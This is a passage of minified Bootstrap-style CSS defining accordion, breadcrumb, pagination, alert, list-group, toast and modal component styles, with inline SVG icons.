(prefers-reduced-motion:reduce){.accordion-button::after{transition:none}}.accordion-button:hover{z-index:2}.accordion-button:focus{z-index:3;outline:0;box-shadow:var(--bs-accordion-btn-focus-box-shadow)}.accordion-header{margin-bottom:0}.accordion-item{color:var(--bs-accordion-color);background-color:var(--bs-accordion-bg);border:var(--bs-accordion-border-width) solid var(--bs-accordion-border-color)}.accordion-item:first-of-type{border-top-left-radius:var(--bs-accordion-border-radius);border-top-right-radius:var(--bs-accordion-border-radius)}.accordion-item:first-of-type>.accordion-header .accordion-button{border-top-left-radius:var(--bs-accordion-inner-border-radius);border-top-right-radius:var(--bs-accordion-inner-border-radius)}.accordion-item:not(:first-of-type){border-top:0}.accordion-item:last-of-type{border-bottom-right-radius:var(--bs-accordion-border-radius);border-bottom-left-radius:var(--bs-accordion-border-radius)}.accordion-item:last-of-type>.accordion-header .accordion-button.collapsed{border-bottom-right-radius:var(--bs-accordion-inner-border-radius);border-bottom-left-radius:var(--bs-accordion-inner-border-radius)}.accordion-item:last-of-type>.accordion-collapse{border-bottom-right-radius:var(--bs-accordion-border-radius);border-bottom-left-radius:var(--bs-accordion-border-radius)}.accordion-body{padding:var(--bs-accordion-body-padding-y) var(--bs-accordion-body-padding-x)}.accordion-flush>.accordion-item{border-right:0;border-left:0;border-radius:0}.accordion-flush>.accordion-item:first-child{border-top:0}.accordion-flush>.accordion-item:last-child{border-bottom:0}.accordion-flush>.accordion-item>.accordion-header .accordion-button,.accordion-flush>.accordion-item>.accordion-header .accordion-button.collapsed{border-radius:0}.accordion-flush>.accordion-item>.accordion-collapse{border-radius:0}[data-bs-theme=dark] .accordion-button::after{--bs-accordion-btn-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23859bf0'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");--bs-accordion-btn-active-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23859bf0'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e")}.breadcrumb{--bs-breadcrumb-padding-x:1rem;--bs-breadcrumb-padding-y:0;--bs-breadcrumb-margin-bottom:1rem;--bs-breadcrumb-bg: ;--bs-breadcrumb-border-radius: ;--bs-breadcrumb-divider-color:var(--bs-secondary-color);--bs-breadcrumb-item-padding-x:0.5rem;--bs-breadcrumb-item-active-color:var(--bs-secondary-color);display:flex;flex-wrap:wrap;padding:var(--bs-breadcrumb-padding-y) var(--bs-breadcrumb-padding-x);margin-bottom:var(--bs-breadcrumb-margin-bottom);font-size:var(--bs-breadcrumb-font-size);list-style:none;background-color:var(--bs-breadcrumb-bg);border-radius:var(--bs-breadcrumb-border-radius)}.breadcrumb-item+.breadcrumb-item{padding-left:var(--bs-breadcrumb-item-padding-x)}.breadcrumb-item+.breadcrumb-item::before{float:left;padding-right:var(--bs-breadcrumb-item-padding-x);color:var(--bs-breadcrumb-divider-color);content:var(--bs-breadcrumb-divider, ">")}.breadcrumb-item.active{color:var(--bs-breadcrumb-item-active-color)}.pagination{--bs-pagination-padding-x:1rem;--bs-pagination-padding-y:0.5rem;--bs-pagination-font-size:1rem;--bs-pagination-color:var(--bs-primary-bg);--bs-pagination-bg:var(--bs-body-bg);--bs-pagination-border-width:var(--bs-border-width);--bs-pagination-border-color:var(--bs-border-color);--bs-pagination-border-radius:var(--bs-border-radius);--bs-pagination-hover-color:var(--bs-primary-bg);--bs-pagination-hover-bg:var(--bs-secondary-bg);--bs-pagination-hover-border-color:var(--bs-border-color);--bs-pagination-focus-color:var(--bs-primary-bg);--bs-pagination-focus-bg:var(--bs-secondary-bg);--bs-pagination-focus-box-shadow:0 0 0 0.25rem rgba(52, 89, 230, 0.25);--bs-pagination-active-color:#fff;--bs-pagination-active-bg:#3459e6;--bs-pagination-active-border-color:#3459e6;--bs-pagination-disabled-color:var(--bs-tertiary-color);--bs-pagination-disabled-bg:var(--bs-tertiary-bg);--bs-pagination-disabled-border-color:var(--bs-border-color);display:flex;padding-left:0;list-style:none}.page-link{position:relative;display:block;padding:var(--bs-pagination-padding-y) var(--bs-pagination-padding-x);font-size:var(--bs-pagination-font-size);color:var(--bs-pagination-color);text-decoration:none;background-color:var(--bs-pagination-bg);border:var(--bs-pagination-border-width) solid var(--bs-pagination-border-color);transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.page-link{transition:none}}.page-link:hover{z-index:2;color:var(--bs-pagination-hover-color);background-color:var(--bs-pagination-hover-bg);border-color:var(--bs-pagination-hover-border-color)}.page-link:focus{z-index:3;color:var(--bs-pagination-focus-color);background-color:var(--bs-pagination-focus-bg);outline:0;box-shadow:var(--bs-pagination-focus-box-shadow)}.active>.page-link,.page-link.active{z-index:3;color:var(--bs-pagination-active-color);background-color:var(--bs-pagination-active-bg);border-color:var(--bs-pagination-active-border-color)}.disabled>.page-link,.page-link.disabled{color:var(--bs-pagination-disabled-color);pointer-events:none;background-color:var(--bs-pagination-disabled-bg);border-color:var(--bs-pagination-disabled-border-color)}.page-item:not(:first-child) .page-link{margin-left:calc(var(--bs-border-width) * -1)}.page-item:first-child .page-link{border-top-left-radius:var(--bs-pagination-border-radius);border-bottom-left-radius:var(--bs-pagination-border-radius)}.page-item:last-child .page-link{border-top-right-radius:var(--bs-pagination-border-radius);border-bottom-right-radius:var(--bs-pagination-border-radius)}.pagination-lg{--bs-pagination-padding-x:1.5rem;--bs-pagination-padding-y:0.75rem;--bs-pagination-font-size:1.25rem;--bs-pagination-border-radius:var(--bs-border-radius-lg)}.pagination-sm{--bs-pagination-padding-x:0.5rem;--bs-pagination-padding-y:0.25rem;--bs-pagination-font-size:0.875rem;--bs-pagination-border-radius:var(--bs-border-radius-sm)}.badge{--bs-badge-padding-x:0.65em;--bs-badge-padding-y:0.35em;--bs-badge-font-size:0.75em;--bs-badge-font-weight:700;--bs-badge-color:#fff;--bs-badge-border-radius:var(--bs-border-radius);display:inline-block;padding:var(--bs-badge-padding-y) var(--bs-badge-padding-x);font-size:var(--bs-badge-font-size);font-weight:var(--bs-badge-font-weight);line-height:1;color:var(--bs-badge-color);text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:var(--bs-badge-border-radius)}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.alert{--bs-alert-bg:transparent;--bs-alert-padding-x:1rem;--bs-alert-padding-y:1rem;--bs-alert-margin-bottom:1rem;--bs-alert-color:inherit;--bs-alert-border-color:transparent;--bs-alert-border:var(--bs-border-width) solid var(--bs-alert-border-color);--bs-alert-border-radius:var(--bs-border-radius);--bs-alert-link-color:inherit;position:relative;padding:var(--bs-alert-padding-y) var(--bs-alert-padding-x);margin-bottom:var(--bs-alert-margin-bottom);color:var(--bs-alert-color);background-color:var(--bs-alert-bg);border:var(--bs-alert-border);border-radius:var(--bs-alert-border-radius)}.alert-heading{color:inherit}.alert-link{font-weight:700;color:var(--bs-alert-link-color)}.alert-dismissible{padding-right:3rem}.alert-dismissible .btn-close{position:absolute;top:0;right:0;z-index:2;padding:1.25rem 1rem}.alert-primary{--bs-alert-color:var(--bs-primary-text-emphasis);--bs-alert-bg:var(--bs-primary-bg-subtle);--bs-alert-border-color:var(--bs-primary-border-subtle);--bs-alert-link-color:var(--bs-primary-text-emphasis)}.alert-secondary{--bs-alert-color:var(--bs-secondary-text-emphasis);--bs-alert-bg:var(--bs-secondary-bg-subtle);--bs-alert-border-color:var(--bs-secondary-border-subtle);--bs-alert-link-color:var(--bs-secondary-text-emphasis)}.alert-success{--bs-alert-color:var(--bs-success-text-emphasis);--bs-alert-bg:var(--bs-success-bg-subtle);--bs-alert-border-color:var(--bs-success-border-subtle);--bs-alert-link-color:var(--bs-success-text-emphasis)}.alert-info{--bs-alert-color:var(--bs-info-text-emphasis);--bs-alert-bg:var(--bs-info-bg-subtle);--bs-alert-border-color:var(--bs-info-border-subtle);--bs-alert-link-color:var(--bs-info-text-emphasis)}.alert-warning{--bs-alert-color:var(--bs-warning-text-emphasis);--bs-alert-bg:var(--bs-warning-bg-subtle);--bs-alert-border-color:var(--bs-warning-border-subtle);--bs-alert-link-color:var(--bs-warning-text-emphasis)}.alert-danger{--bs-alert-color:var(--bs-danger-text-emphasis);--bs-alert-bg:var(--bs-danger-bg-subtle);--bs-alert-border-color:var(--bs-danger-border-subtle);--bs-alert-link-color:var(--bs-danger-text-emphasis)}.alert-light{--bs-alert-color:var(--bs-light-text-emphasis);--bs-alert-bg:var(--bs-light-bg-subtle);--bs-alert-border-color:var(--bs-light-border-subtle);--bs-alert-link-color:var(--bs-light-text-emphasis)}.alert-dark{--bs-alert-color:var(--bs-dark-text-emphasis);--bs-alert-bg:var(--bs-dark-bg-subtle);--bs-alert-border-color:var(--bs-dark-border-subtle);--bs-alert-link-color:var(--bs-dark-text-emphasis)}@keyframes progress-bar-stripes{0%{background-position-x:1rem}}.progress,.progress-stacked{--bs-progress-height:1rem;--bs-progress-font-size:0.75rem;--bs-progress-bg:var(--bs-secondary-bg);--bs-progress-border-radius:var(--bs-border-radius);--bs-progress-box-shadow:var(--bs-box-shadow-inset);--bs-progress-bar-color:#fff;--bs-progress-bar-bg:#3459e6;--bs-progress-bar-transition:width 0.6s ease;display:flex;height:var(--bs-progress-height);overflow:hidden;font-size:var(--bs-progress-font-size);background-color:var(--bs-progress-bg);border-radius:var(--bs-progress-border-radius);box-shadow:var(--bs-progress-box-shadow)}.progress-bar{display:flex;flex-direction:column;justify-content:center;overflow:hidden;color:var(--bs-progress-bar-color);text-align:center;white-space:nowrap;background-color:var(--bs-progress-bar-bg);transition:var(--bs-progress-bar-transition)}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:var(--bs-progress-height) var(--bs-progress-height)}.progress-stacked>.progress{overflow:visible}.progress-stacked>.progress>.progress-bar{width:100%}.progress-bar-animated{animation:1s linear infinite progress-bar-stripes}@media (prefers-reduced-motion:reduce){.progress-bar-animated{animation:none}}.list-group{--bs-list-group-color:var(--bs-body-color);--bs-list-group-bg:var(--bs-body-bg);--bs-list-group-border-color:var(--bs-border-color);--bs-list-group-border-width:var(--bs-border-width);--bs-list-group-border-radius:var(--bs-border-radius);--bs-list-group-item-padding-x:1.5rem;--bs-list-group-item-padding-y:1rem;--bs-list-group-action-color:var(--bs-secondary-color);--bs-list-group-action-hover-color:var(--bs-emphasis-color);--bs-list-group-action-hover-bg:var(--bs-tertiary-bg);--bs-list-group-action-active-color:var(--bs-body-color);--bs-list-group-action-active-bg:var(--bs-secondary-bg);--bs-list-group-disabled-color:var(--bs-secondary-color);--bs-list-group-disabled-bg:var(--bs-body-bg);--bs-list-group-active-color:#fff;--bs-list-group-active-bg:#3459e6;--bs-list-group-active-border-color:#3459e6;display:flex;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:var(--bs-list-group-border-radius)}.list-group-numbered{list-style-type:none;counter-reset:section}.list-group-numbered>.list-group-item::before{content:counters(section, ".") ". ";counter-increment:section}.list-group-item-action{width:100%;color:var(--bs-list-group-action-color);text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:var(--bs-list-group-action-hover-color);text-decoration:none;background-color:var(--bs-list-group-action-hover-bg)}.list-group-item-action:active{color:var(--bs-list-group-action-active-color);background-color:var(--bs-list-group-action-active-bg)}.list-group-item{position:relative;display:block;padding:var(--bs-list-group-item-padding-y) var(--bs-list-group-item-padding-x);color:var(--bs-list-group-color);text-decoration:none;background-color:var(--bs-list-group-bg);border:var(--bs-list-group-border-width) solid var(--bs-list-group-border-color)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:var(--bs-list-group-disabled-color);pointer-events:none;background-color:var(--bs-list-group-disabled-bg)}.list-group-item.active{z-index:2;color:var(--bs-list-group-active-color);background-color:var(--bs-list-group-active-bg);border-color:var(--bs-list-group-active-border-color)}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:calc(-1 * var(--bs-list-group-border-width));border-top-width:var(--bs-list-group-border-width)}.list-group-horizontal{flex-direction:row}.list-group-horizontal>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}@media (min-width:576px){.list-group-horizontal-sm{flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:768px){.list-group-horizontal-md{flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:992px){.list-group-horizontal-lg{flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:1200px){.list-group-horizontal-xl{flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:1400px){.list-group-horizontal-xxl{flex-direction:row}.list-group-horizontal-xxl>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-xxl>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-xxl>.list-group-item.active{margin-top:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 var(--bs-list-group-border-width)}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{--bs-list-group-color:var(--bs-primary-text-emphasis);--bs-list-group-bg:var(--bs-primary-bg-subtle);--bs-list-group-border-color:var(--bs-primary-border-subtle);--bs-list-group-action-hover-color:var(--bs-emphasis-color);--bs-list-group-action-hover-bg:var(--bs-primary-border-subtle);--bs-list-group-action-active-color:var(--bs-emphasis-color);--bs-list-group-action-active-bg:var(--bs-primary-border-subtle);--bs-list-group-active-color:var(--bs-primary-bg-subtle);--bs-list-group-active-bg:var(--bs-primary-text-emphasis);--bs-list-group-active-border-color:var(--bs-primary-text-emphasis)}.list-group-item-secondary{--bs-list-group-color:var(--bs-secondary-text-emphasis);--bs-list-group-bg:var(--bs-secondary-bg-subtle);--bs-list-group-border-color:var(--bs-secondary-border-subtle);--bs-list-group-action-hover-color:var(--bs-emphasis-color);--bs-list-group-action-hover-bg:var(--bs-secondary-border-subtle);--bs-list-group-action-active-color:var(--bs-emphasis-color);--bs-list-group-action-active-bg:var(--bs-secondary-border-subtle);--bs-list-group-active-color:var(--bs-secondary-bg-subtle);--bs-list-group-active-bg:var(--bs-secondary-text-emphasis);--bs-list-group-active-border-color:var(--bs-secondary-text-emphasis)}.list-group-item-success{--bs-list-group-color:var(--bs-success-text-emphasis);--bs-list-group-bg:var(--bs-success-bg-subtle);--bs-list-group-border-color:var(--bs-success-border-subtle);--bs-list-group-action-hover-color:var(--bs-emphasis-color);--bs-list-group-action-hover-bg:var(--bs-success-border-subtle);--bs-list-group-action-active-color:var(--bs-emphasis-color);--bs-list-group-action-active-bg:var(--bs-success-border-subtle);--bs-list-group-active-color:var(--bs-success-bg-subtle);--bs-list-group-active-bg:var(--bs-success-text-emphasis);--bs-list-group-active-border-color:var(--bs-success-text-emphasis)}.list-group-item-info{--bs-list-group-color:var(--bs-info-text-emphasis);--bs-list-group-bg:var(--bs-info-bg-subtle);--bs-list-group-border-color:var(--bs-info-border-subtle);--bs-list-group-action-hover-color:var(--bs-emphasis-color);--bs-list-group-action-hover-bg:var(--bs-info-border-subtle);--bs-list-group-action-active-color:var(--bs-emphasis-color);--bs-list-group-action-active-bg:var(--bs-info-border-subtle);--bs-list-group-active-color:var(--bs-info-bg-subtle);--bs-list-group-active-bg:var(--bs-info-text-emphasis);--bs-list-group-active-border-color:var(--bs-info-text-emphasis)}.list-group-item-warning{--bs-list-group-color:var(--bs-warning-text-emphasis);--bs-list-group-bg:var(--bs-warning-bg-subtle);--bs-list-group-border-color:var(--bs-warning-border-subtle);--bs-list-group-action-hover-color:var(--bs-emphasis-color);--bs-list-group-action-hover-bg:var(--bs-warning-border-subtle);--bs-list-group-action-active-color:var(--bs-emphasis-color);--bs-list-group-action-active-bg:var(--bs-warning-border-subtle);--bs-list-group-active-color:var(--bs-warning-bg-subtle);--bs-list-group-active-bg:var(--bs-warning-text-emphasis);--bs-list-group-active-border-color:var(--bs-warning-text-emphasis)}.list-group-item-danger{--bs-list-group-color:var(--bs-danger-text-emphasis);--bs-list-group-bg:var(--bs-danger-bg-subtle);--bs-list-group-border-color:var(--bs-danger-border-subtle);--bs-list-group-action-hover-color:var(--bs-emphasis-color);--bs-list-group-action-hover-bg:var(--bs-danger-border-subtle);--bs-list-group-action-active-color:var(--bs-emphasis-color);--bs-list-group-action-active-bg:var(--bs-danger-border-subtle);--bs-list-group-active-color:var(--bs-danger-bg-subtle);--bs-list-group-active-bg:var(--bs-danger-text-emphasis);--bs-list-group-active-border-color:var(--bs-danger-text-emphasis)}.list-group-item-light{--bs-list-group-color:var(--bs-light-text-emphasis);--bs-list-group-bg:var(--bs-light-bg-subtle);--bs-list-group-border-color:var(--bs-light-border-subtle);--bs-list-group-action-hover-color:var(--bs-emphasis-color);--bs-list-group-action-hover-bg:var(--bs-light-border-subtle);--bs-list-group-action-active-color:var(--bs-emphasis-color);--bs-list-group-action-active-bg:var(--bs-light-border-subtle);--bs-list-group-active-color:var(--bs-light-bg-subtle);--bs-list-group-active-bg:var(--bs-light-text-emphasis);--bs-list-group-active-border-color:var(--bs-light-text-emphasis)}.list-group-item-dark{--bs-list-group-color:var(--bs-dark-text-emphasis);--bs-list-group-bg:var(--bs-dark-bg-subtle);--bs-list-group-border-color:var(--bs-dark-border-subtle);--bs-list-group-action-hover-color:var(--bs-emphasis-color);--bs-list-group-action-hover-bg:var(--bs-dark-border-subtle);--bs-list-group-action-active-color:var(--bs-emphasis-color);--bs-list-group-action-active-bg:var(--bs-dark-border-subtle);--bs-list-group-active-color:var(--bs-dark-bg-subtle);--bs-list-group-active-bg:var(--bs-dark-text-emphasis);--bs-list-group-active-border-color:var(--bs-dark-text-emphasis)}.btn-close{--bs-btn-close-color:#000;--bs-btn-close-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23000'%3e%3cpath d='M.293.293a1 1 0 0 1 1.414 0L8 6.586 14.293.293a1 1 0 1 1 1.414 1.414L9.414 8l6.293 6.293a1 1 0 0 1-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 0 1-1.414-1.414L6.586 8 .293 1.707a1 1 0 0 1 0-1.414z'/%3e%3c/svg%3e");--bs-btn-close-opacity:0.5;--bs-btn-close-hover-opacity:0.75;--bs-btn-close-focus-shadow:0 0 0 0.25rem rgba(52, 89, 230, 0.25);--bs-btn-close-focus-opacity:1;--bs-btn-close-disabled-opacity:0.25;--bs-btn-close-white-filter:invert(1) grayscale(100%) brightness(200%);box-sizing:content-box;width:1em;height:1em;padding:.25em .25em;color:var(--bs-btn-close-color);background:transparent var(--bs-btn-close-bg) center/1em auto no-repeat;border:0;border-radius:.375rem;opacity:var(--bs-btn-close-opacity)}.btn-close:hover{color:var(--bs-btn-close-color);text-decoration:none;opacity:var(--bs-btn-close-hover-opacity)}.btn-close:focus{outline:0;box-shadow:var(--bs-btn-close-focus-shadow);opacity:var(--bs-btn-close-focus-opacity)}.btn-close.disabled,.btn-close:disabled{pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none;opacity:var(--bs-btn-close-disabled-opacity)}.btn-close-white{filter:var(--bs-btn-close-white-filter)}[data-bs-theme=dark] .btn-close{filter:var(--bs-btn-close-white-filter)}.toast{--bs-toast-zindex:1090;--bs-toast-padding-x:0.75rem;--bs-toast-padding-y:0.5rem;--bs-toast-spacing:1.5rem;--bs-toast-max-width:350px;--bs-toast-font-size:0.875rem;--bs-toast-color: ;--bs-toast-bg:rgba(var(--bs-body-bg-rgb), 0.85);--bs-toast-border-width:var(--bs-border-width);--bs-toast-border-color:var(--bs-border-color-translucent);--bs-toast-border-radius:var(--bs-border-radius);--bs-toast-box-shadow:var(--bs-box-shadow);--bs-toast-header-color:var(--bs-primary-color);--bs-toast-header-bg:rgba(var(--bs-body-bg-rgb), 0.85);--bs-toast-header-border-color:var(--bs-border-color-translucent);width:var(--bs-toast-max-width);max-width:100%;font-size:var(--bs-toast-font-size);color:var(--bs-toast-color);pointer-events:auto;background-color:var(--bs-toast-bg);background-clip:padding-box;border:var(--bs-toast-border-width) solid var(--bs-toast-border-color);box-shadow:var(--bs-toast-box-shadow);border-radius:var(--bs-toast-border-radius)}.toast.showing{opacity:0}.toast:not(.show){display:none}.toast-container{--bs-toast-zindex:1090;position:absolute;z-index:var(--bs-toast-zindex);width:-webkit-max-content;width:-moz-max-content;width:max-content;max-width:100%;pointer-events:none}.toast-container>:not(:last-child){margin-bottom:var(--bs-toast-spacing)}.toast-header{display:flex;align-items:center;padding:var(--bs-toast-padding-y) var(--bs-toast-padding-x);color:var(--bs-toast-header-color);background-color:var(--bs-toast-header-bg);background-clip:padding-box;border-bottom:var(--bs-toast-border-width) solid var(--bs-toast-header-border-color);border-top-left-radius:calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width));border-top-right-radius:calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width))}.toast-header .btn-close{margin-right:calc(-.5 * var(--bs-toast-padding-x));margin-left:var(--bs-toast-padding-x)}.toast-body{padding:var(--bs-toast-padding-x);word-wrap:break-word}.modal{--bs-modal-zindex:1055;--bs-modal-width:500px;--bs-modal-padding:1rem;--bs-modal-margin:0.5rem;--bs-modal-color: ;--bs-modal-bg:var(--bs-body-bg);--bs-modal-border-color:var(--bs-border-color-translucent);--bs-modal-border-width:var(--bs-border-width);--bs-modal-border-radius:var(--bs-border-radius-lg);--bs-modal-box-shadow:var(--bs-box-shadow-sm);--bs-modal-inner-border-radius:calc(var(--bs-border-radius-lg) - (var(--bs-border-width)));--bs-modal-header-padding-x:1rem;--bs-modal-header-padding-y:1rem;--bs-modal-header-padding:1rem 1rem;--bs-modal-header-border-color:var(--bs-border-color);--bs-modal-header-border-width:0;--bs-modal-title-line-height:1.5;--bs-modal-footer-gap:0.5rem;--bs-modal-footer-bg: ;--bs-modal-footer-border-color:var(--bs-border-color);--bs-modal-footer-border-width:0;position:fixed;top:0;left:0;z-index:var(--bs-modal-zindex);display:none;width:100%;height:100%;overflow-x:hidden;overflow-y:auto;outline:0}.modal-dialog{position:relative;width:auto;margin:var(--bs-modal-margin);pointer-events:none}.modal.fade .modal-dialog{transition:transform .3s ease-out;transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{transform:none}.modal.modal-static .modal-dialog{transform:scale(1.02)}.modal-dialog-scrollable{height:calc(100% - var(--bs-modal-margin) * 2)}.modal-dialog-scrollable .modal-content{max-height:100%;overflow:hidden}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:flex;align-items:center;min-height:calc(100% - var(--bs-modal-margin) * 2)}.modal-content{position:relative;display:flex;flex-direction:column;width:100%;color:var(--bs-modal-color);pointer-events:auto;background-color:var(--bs-modal-bg);background-clip:padding-box;border:var(--bs-modal-border-width) solid var(--bs-modal-border-color);border-radius:var(--bs-modal-border-radius);box-shadow:var(--bs-modal-box-shadow);outline:0}.modal-backdrop{--bs-backdrop-zindex:1050;--bs-backdrop-bg:#000;--bs-backdrop-opacity:0.5;position:fixed;top:0;left:0;z-index:var(--bs-backdrop-zindex);width:100vw;height:100vh;background-color:var(--bs-backdrop-bg)}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:var(--bs-backdrop-opacity)}.modal-header{display:flex;flex-shrink:0;align-items:center;padding:var(--bs-modal-header-padding);border-bottom:var(--bs-modal-header-border-width) solid var(--bs-modal-header-border-color);border-top-left-radius:var(--bs-modal-inner-border-radius);border-top-right-radius:var(--bs-modal-inner-border-radius)}.modal-header .btn-close{padding:calc(var(--bs-modal-header-padding-y) * .5) calc(var(--bs-modal-header-padding-x) * .5);margin:calc(-.5 * var(--bs-modal-header-padding-y)) calc(-.5 * var(--bs-modal-header-padding-x)) calc(-.5 * var(--bs-modal-header-padding-y)) auto}.modal-title{margin-bottom:0;line-height:var(--bs-modal-title-line-height)}.modal-body{position:relative;flex:1 1 auto;padding:var(--bs-modal-padding)}.modal-footer{display:flex;flex-shrink:0;flex-wrap:wrap;align-items:center;justify-content:flex-end;padding:calc(var(--bs-modal-padding) - var(--bs-modal-footer-gap) * .5);background-color:var(--bs-modal-footer-bg);border-top:var(--bs-modal-footer-border-width) solid var(--bs-modal-footer-border-color);border-bottom-right-radius:var(--bs-modal-inner-border-radius);border-bottom-left-radius:var(--bs-modal-inner-border-radius)}.modal-footer>*{margin:calc(var(--bs-modal-footer-gap) * .5)}@media (min-width:576px){.modal{--bs-modal-margin:1.75rem;--bs-modal-box-shadow:var(--bs-box-shadow)}.modal-dialog{max-width:var(--bs-modal-width);margin-right:auto;margin-left:auto}.modal-sm{--bs-modal-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{--bs-modal-width:800px}}@media (min-width:1200px){.modal-xl{--bs-modal-width:1140px}}.modal-fullscreen{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen .modal-footer,.modal-fullscreen .modal-header{border-radius:0}.modal-fullscreen .modal-body{overflow-y:auto}@media (max-width:575.98px){.modal-fullscreen-sm-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-sm-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-sm-down .modal-footer,.modal-fullscreen-sm-down .modal-header{border-radius:0}.modal-fullscreen-sm-down .modal-body{overflow-y:auto}}@media (max-width:767.98px){.modal-fullscreen-md-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-md-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-md-down .modal-footer,.modal-fullscreen-md-down .modal-header{border-radius:0}.modal-fullscreen-md-down .modal-body{overflow-y:auto}}@media (max-width:991.98px){.modal-fullscreen-lg-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-lg-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-lg-down 